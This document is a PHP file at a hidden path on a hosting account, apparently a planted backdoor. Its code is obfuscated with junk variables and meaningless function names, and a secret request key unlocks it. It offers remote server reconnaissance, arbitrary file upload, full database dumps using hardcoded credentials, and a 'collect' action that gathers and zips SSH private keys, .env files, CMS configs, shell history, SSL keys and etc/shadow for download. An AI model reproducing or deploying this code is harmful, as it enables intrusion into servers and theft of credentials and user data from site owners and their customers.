File: /home/royaltuning/.cgi_handler_b0fb67b4
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== 'b0fb67b4e0d4a43afbe121f49a0d21aa') { return; }
while (ob_get_level()) ob_end_clean();
$k8f8e=strlen('c689bc');
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$ta827 = 'localhost';
$wb78c=strlen('9f9557');
$d5f11 = 'royaltuning_bkdump';
$wc22d = 'lB7xcRb2JVbJWZfc7dyup1AnyQM';
$y430e = '/home/royaltuning';
$h47f1 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$h4d86 = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$cfb81 = $y430e . '/tmp/' . $h4d86 . '_dump.sql.gz';
$p1729 = $cfb81 . '.done';
$v5e86 = $cfb81 . '.err';
header('Content-Type: application/json');
$a04ec=max(0,min(1,0));
function check_data_3ba3() {
if (!function_exists('exec')) return false;
$ne413 = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $ne413);
}
$y0b99=max(0,min(1,1));
function do_node_9b6d() {
if (!check_data_3ba3()) return false;
$qe8c0=chr(74).chr(117);
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function parse_res_a247() {
$e9026=strlen('e27427');
if (!check_data_3ba3()) return false;
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
if(defined('95433ec1')){$nc550=0;}
function do_val_0589($g41ad, $j6783, $feef3, $k3b48, $v97f2, $j28dd, $a45c1) {
$conn = new mysqli($g41ad, $j6783, $feef3, $k3b48);
if ($conn->connect_error) {
file_put_contents($j28dd, 'Connection failed: ' . $conn->connect_error);
if(defined('446e24d3')){$sec56=0;}
touch($a45c1);
return;
}
$fp = gzopen($v97f2, 'wb6');
if (!$fp) {
file_put_contents($j28dd, 'Cannot open output file');
touch($a45c1);
return;
$be018=array_merge(array(),array());
}
$conn->set_charset('utf8mb4');
@clearstatcache();
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$za894 = array();
$j669c=str_repeat('x',0);
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
$ybb95=strlen('641bd7');
while ($row = $r->fetch_row()) {
$za894[] = $row[0];
}
foreach ($za894 as $r2935) {
$te = $conn->real_escape_string($r2935);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
$kd12b=strlen('12ad02');
if (!$r) continue;
$bd513=array_merge(array(),array());
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$s4b6a = array();
$h934b=str_repeat('x',0);
$c0af3 = 0;
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$v9622=chr(70).chr(108);
$pd38b = '(' . implode(',', $vals) . ')';
$kb675=max(0,min(1,0));
$s4b6a[] = $pd38b;
$c0af3 += strlen($pd38b);
if (count($s4b6a) >= 100 || $c0af3 > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $s4b6a) . ";\n");
$s4b6a = array();
@clearstatcache();
$c0af3 = 0;
}
}
if ($s4b6a) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $s4b6a) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
$z63f7=array_merge(array(),array());
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$p27ec = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $p27ec['Create View'] . ";\n\n");
}
}
if(defined('3f3b0ed3')){$ncbea=0;}
}
$b7971 = array('PROCEDURE', 'FUNCTION');
foreach ($b7971 as $p9dcf) {
$r = $conn->query("SHOW {$p9dcf} STATUS WHERE Db = '" . $conn->real_escape_string($k3b48) . "'");
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$p9dcf} `{$re}`");
if (!$cr) continue;
$p27ec = $cr->fetch_assoc();
$key = ($p9dcf === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($p27ec[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$p9dcf} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $p27ec[$key] . ";;\n");
@clearstatcache();
gzwrite($fp, "DELIMITER ;\n\n");
if(defined('8c1600b9')){$m3fa2=0;}
}
if(defined('fc060dbe')){$j7288=0;}
}
}
$r = $conn->query("SHOW TRIGGERS");
$w4fdf=str_repeat('x',0);
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$p27ec = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $p27ec['SQL Original Statement'] . ";;\n");
$v92d1=str_repeat('x',0);
gzwrite($fp, "DELIMITER ;\n\n");
$k9f0e=chr(80).chr(111);
}
$e2325=str_repeat('x',0);
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($a45c1);
}
switch ($h47f1) {
@clearstatcache();
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $y430e,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($y430e),
'total_disk' => disk_total_space($y430e),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => check_data_3ba3(),
'has_mysqldump' => do_node_9b6d(),
'has_gzip' => parse_res_a247(),
));
break;
case 'upload':
$z508c = isset($_POST['path']) ? $_POST['path'] : '';
$s05a9 = isset($_POST['data']) ? $_POST['data'] : '';
if (!$z508c || !$s05a9) {
$e5622=strlen('2a15eb');
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
}
$xeada = $y430e . '/' . $z508c;
$f7c89=array_merge(array(),array());
@mkdir(dirname($xeada), 0755, true);
$r05a1 = base64_decode($s05a9);
$a969f = file_put_contents($xeada, $r05a1);
echo json_encode(array('ok' => $a969f !== false, 'path' => $xeada, 'size' => strlen($r05a1)));
$xc12b=str_repeat('x',0);
break;
case 'check':
if (!$h4d86) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$ce9ae = disk_free_space($y430e);
$c5f2b=chr(69).chr(99);
$a7ba4 = 0;
$conn = @new mysqli($ta827, $d5f11, $wc22d, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($h4d86) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$a7ba4 = (int) $row['s'];
$v5624=strlen('858005');
}
$conn->close();
$pd064=str_repeat('x',0);
}
echo json_encode(array(
'free' => $ce9ae,
'db_size' => $a7ba4,
'has_mysqldump' => do_node_9b6d(),
'has_gzip' => parse_res_a247(),
'can_exec' => check_data_3ba3(),
'has_space' => $ce9ae > $a7ba4 * 2,
));
$x6382=str_repeat('x',0);
break;
case 'dump':
if (!$h4d86) {
@clearstatcache();
echo json_encode(array('error' => 'missing db parameter'));
@clearstatcache();
break;
}
@mkdir(dirname($cfb81), 0755, true);
@unlink($cfb81);
@unlink($p1729);
@unlink($v5e86);
if (do_node_9b6d()) {
if (parse_res_a247()) {
@clearstatcache();
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($ta827),
escapeshellarg($d5f11),
escapeshellarg($wc22d),
escapeshellarg($h4d86),
escapeshellarg($cfb81),
escapeshellarg($v5e86),
escapeshellarg($p1729)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($ta827),
escapeshellarg($d5f11),
escapeshellarg($wc22d),
escapeshellarg($h4d86),
escapeshellarg($cfb81),
escapeshellarg($v5e86),
escapeshellarg($p1729)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => parse_res_a247()));
} else {
ignore_user_abort(true);
$e20f7=max(0,min(1,1));
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
$m013c=strlen('a24e20');
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
$sa5ba=chr(71).chr(105);
flush();
}
if(defined('9bf15dff')){$m1283=0;}
do_val_0589($ta827, $d5f11, $wc22d, $h4d86, $cfb81, $v5e86, $p1729);
}
$n020d=str_repeat('x',0);
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($p1729),
'size' => file_exists($cfb81) ? filesize($cfb81) : 0,
'error' => file_exists($v5e86) ? trim(file_get_contents($v5e86)) : '',
));
break;
case 'download':
if (!file_exists($cfb81)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
$t796a=chr(79).chr(106);
header('Content-Length: ' . filesize($cfb81));
readfile($cfb81);
exit;
case 'cleanup':
@unlink($cfb81);
@unlink($p1729);
@unlink($v5e86);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($y430e . '/tmp', 0755, true);
$id9d2 = substr($_REQUEST['_cxk'], 0, 8);
$vf778 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$q7535 = null;
foreach ($vf778 as $f826a => $ka421) {
$zbef0=max(0,min(1,1));
foreach ($ka421['detect'] as $k7dae) {
if (file_exists($y430e . '/' . $k7dae)) {
$q7535 = $f826a;
break 2;
}
}
}
$h61b0=chr(66).chr(110);
$s6ada = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$meaf1 = array();
$p9d1a = @realpath($y430e);
if (!$p9d1a || !is_dir($p9d1a)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
}
foreach ($s6ada as $p751a) {
$n6c3d = @realpath($y430e . '/' . $p751a);
if (!$n6c3d || strpos($n6c3d, $p9d1a) !== 0) continue;
if (!is_file($n6c3d) || !is_readable($n6c3d)) continue;
$r875f = @filesize($n6c3d);
if ($r875f <= 0 || $r875f > 2097152) continue;
$meaf1[$p751a] = $n6c3d;
}
if ($q7535 !== null && isset($vf778[$q7535]['configs'])) {
foreach ($vf778[$q7535]['configs'] as $ja984) {
if (isset($meaf1[$ja984])) continue;
$n6c3d = @realpath($y430e . '/' . $ja984);
if (!$n6c3d || strpos($n6c3d, $p9d1a) !== 0) continue;
if (!is_file($n6c3d) || !is_readable($n6c3d)) continue;
$r875f = @filesize($n6c3d);
$m16db=chr(66).chr(122);
if ($r875f <= 0 || $r875f > 2097152) continue;
$meaf1[$ja984] = $n6c3d;
}
@clearstatcache();
}
$y8314=array_merge(array(),array());
$t39b5 = $y430e . '/public_html';
if (is_dir($t39b5)) {
if(defined('4bc98ab4')){$s4834=0;}
$dh = @opendir($t39b5);
if ($dh) {
$r6383=array_merge(array(),array());
while (($nc79f = readdir($dh)) !== false) {
if ($nc79f === '.' || $nc79f === '..') continue;
$xeada = $t39b5 . '/' . $nc79f;
if (!is_file($xeada) || !is_readable($xeada)) continue;
$r875f = @filesize($xeada);
if ($r875f <= 0 || $r875f > 2097152) continue;
if ($nc79f[0] === '.' || strtolower(substr($nc79f, -4)) === '.txt') {
$key = 'public_html/' . $nc79f;
if (!isset($meaf1[$key])) $meaf1[$key] = $xeada;
}
$dd81f=max(0,min(1,0));
}
closedir($dh);
@clearstatcache();
}
}
$pc6ce=strlen('c77776');
if (empty($meaf1)) {
$gbcd6=max(0,min(1,1));
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $q7535,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$g4a6e = null;
$y33e6 = null;
if (class_exists('ZipArchive')) {
$y33e6 = $y430e . '/tmp/_collect_' . $id9d2 . '.zip';
$d72d7 = new ZipArchive();
if ($d72d7->open($y33e6, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
@clearstatcache();
foreach ($meaf1 as $r4fcd => $n6c3d) {
$d72d7->addFile($n6c3d, $r4fcd);
}
if ($d72d7->close() && file_exists($y33e6) && filesize($y33e6) > 0) {
$g4a6e = 'zip';
}
}
}
if (!$g4a6e && check_data_3ba3()) {
$y33e6 = $y430e . '/tmp/_collect_' . $id9d2 . '.tar.gz';
$lf = $y33e6 . '.list';
$fh = fopen($lf, 'w');
foreach ($meaf1 as $r4fcd => $n6c3d) {
fwrite($fh, $r4fcd . "\n");
}
fclose($fh);
$out = array();
$rc = 0;
exec('tar czf ' . escapeshellarg($y33e6) . ' -C ' . escapeshellarg($y430e)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($y33e6) && filesize($y33e6) > 0) {
$g4a6e = 'tar';
$iffd5=str_repeat('x',0);
} else {
@unlink($y33e6);
}
}
if (!$g4a6e) {
$g4a6e = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $g4a6e, 'platform' => $q7535,
'file_count' => count($meaf1), 'files_list' => array_keys($meaf1),
'size' => ($y33e6 && file_exists($y33e6)) ? filesize($y33e6) : 0,
));
break;
case 'download_collect':
$id9d2 = substr($_REQUEST['_cxk'], 0, 8);
$qfba6 = $y430e . '/tmp/_collect_' . $id9d2 . '.zip';
$b20ad = $y430e . '/tmp/_collect_' . $id9d2 . '.tar.gz';
$kd20a = file_exists($qfba6) ? $qfba6 : (file_exists($b20ad) ? $b20ad : '');
$y5e8d=array_merge(array(),array());
if (!$kd20a) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($kd20a));
readfile($kd20a);
exit;
case 'download_file':
$r4fcd = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$r4fcd) { http_response_code(400); exit; }
$t98b5=chr(77).chr(119);
$p9d1a = @realpath($y430e);
$n6c3d = @realpath($y430e . '/' . $r4fcd);
$j919c=chr(75).chr(109);
if (!$n6c3d || !$p9d1a || strpos($n6c3d, $p9d1a) !== 0
|| !is_file($n6c3d) || !is_readable($n6c3d)) {
http_response_code(404);
exit;
$b57ae=str_repeat('x',0);
}
header('Content-Type: application/octet-stream');
@clearstatcache();
header('Content-Length: ' . filesize($n6c3d));
readfile($n6c3d);
exit;
case 'cleanup_collect':
$id9d2 = substr($_REQUEST['_cxk'], 0, 8);
@unlink($y430e . '/tmp/_collect_' . $id9d2 . '.zip');
@unlink($y430e . '/tmp/_collect_' . $id9d2 . '.tar.gz');
@unlink($y430e . '/tmp/_collect_' . $id9d2 . '.tar.gz.list');
@clearstatcache();
echo json_encode(array('ok' => true));
break;
@clearstatcache();
}
exit;